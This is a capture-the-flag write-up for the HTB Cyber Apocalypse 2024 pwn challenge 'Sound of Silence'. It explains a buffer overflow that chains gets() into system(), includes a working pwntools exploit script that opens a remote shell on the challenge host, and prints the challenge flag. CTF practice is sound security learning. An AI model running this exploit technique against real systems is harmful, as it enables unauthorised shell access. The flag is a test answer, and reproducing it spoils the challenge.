📖
CTF Wiki
  • 🚩Arne's CTF Writeups!
  • 2025
    • TUCTF
      • Forensics - Security Rocks
    • San Diego CTF
      • Crypto - RustSA
      • Misc - Triglot
  • 2024
    • Lexington CTF
      • Misc - a little bit of tomcroppery
    • Imaginary CTF
      • Web - Journal
    • Space Heroes CTF
      • Web - Antikythera
    • HTB Cyber Apocalypse
      • Pwn - Sound of Silence
      • Misc - MultiDigilingual
  • 2023
    • NahamConCTF
      • Mobile - Red Light Green Light
    • BucketCTF
      • Rev - Schematic
      • Rev - Random security
    • HTB Cyber Apocalypse
      • Rev - Cave System
      • Rev - Somewhat Linear
      • Pwn - Void
  • 2022
    • DownUnderCTF 2022
      • Cloud - Jimmy Builds a Kite
    • Ã¥ngstromCTF 2022
      • Pwn - really obnoxious problem
      • Pwn - whatsmyname
    • Engineer CTF
      • Misc - Not really random
      • Misc - Broken Pieces
    • KnightCTF 2022
    • HTB CTF: Dirty Money
      • Forensics - Perseverance
  • 2021
    • MetaCTF CyberGames 2021
    • HTB - Cyber Santa
      • RE - Infiltration
    • Securebug CTF Thor 2021
      • Web - Tricks 1
      • Web - Tricks 2
      • RE - Hidden in Plain Sight
    • TFC CTF 2021
      • RE - Crackity
      • Pwn - Jumpy
      • Misc - Weird Friend
    • K3RN3L CTF 2021
      • Crypto - Pascal RSA
    • DamCTF 2021
      • Misc - library-of-babel
      • Pwn - cookie-monster
    • Killer Queen CTF 2021
      • Pwn - Tweety Birb
      • Forensics - Tippy Tappies
      • Pwn - I want to break free
    • BuckeyeCTF 2021
      • Web - pay2win
      • Misc - USB Exfiltration
Powered by GitBook
On this page
  • Description
  • Downloads
  • Solution
  1. 2024
  2. HTB Cyber Apocalypse

Pwn - Sound of Silence

Medium

Last updated 1 year ago

Description

Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!

Downloads

Solution

Firstly, Full RELRO so no GOT overrides and NX enabled which means we can't execute shellcode on the stack.

The program is relatively simple with system() and gets() but no 'win' function. To pwn this we likely need to get the program to execute system('/bin/sh'). There wasn't any gadget that could modify rdi which made the challenge a little tough. (After the event, someone noted that there is the mov rdi, rax gadget in the main function but interestingly, ROPgadget did not pick it up so we could use that if we wanted to.)

But we don't actually need a ROP gadget. gets() actually stores the user input into rdi which makes this very easy.

Another interesting thing to note is that if we just pass in "/bin/sh" to gets(), the 5th character gets shifted 1 letter downwards.

To overcome this we just need to send "/bin0sh" instead.

from pwn import *

exe = './sound_of_silence'
elf = context.binary = ELF(exe, checksec=False)
# context.log_level = 'debug'

offset = 40

# io = process(exe)
io = remote("94.237.63.93", 59792)

payload = b'A' * offset
payload += p64(elf.plt.gets)
payload += p64(elf.plt.system)

io.sendlineafter(b'>> ', payload)
io.sendline(b'/bin0sh')

io.interactive()

Flag: HTB{n0_n33d_4_l34k5_wh3n_u_h4v3_5y5t3m}

1MB
pwn_sound_of_silence.zip
archive
Checksec
main()
The only gadget which is not so useful.
'/bin/sh' became '/bin.sh'
Pwned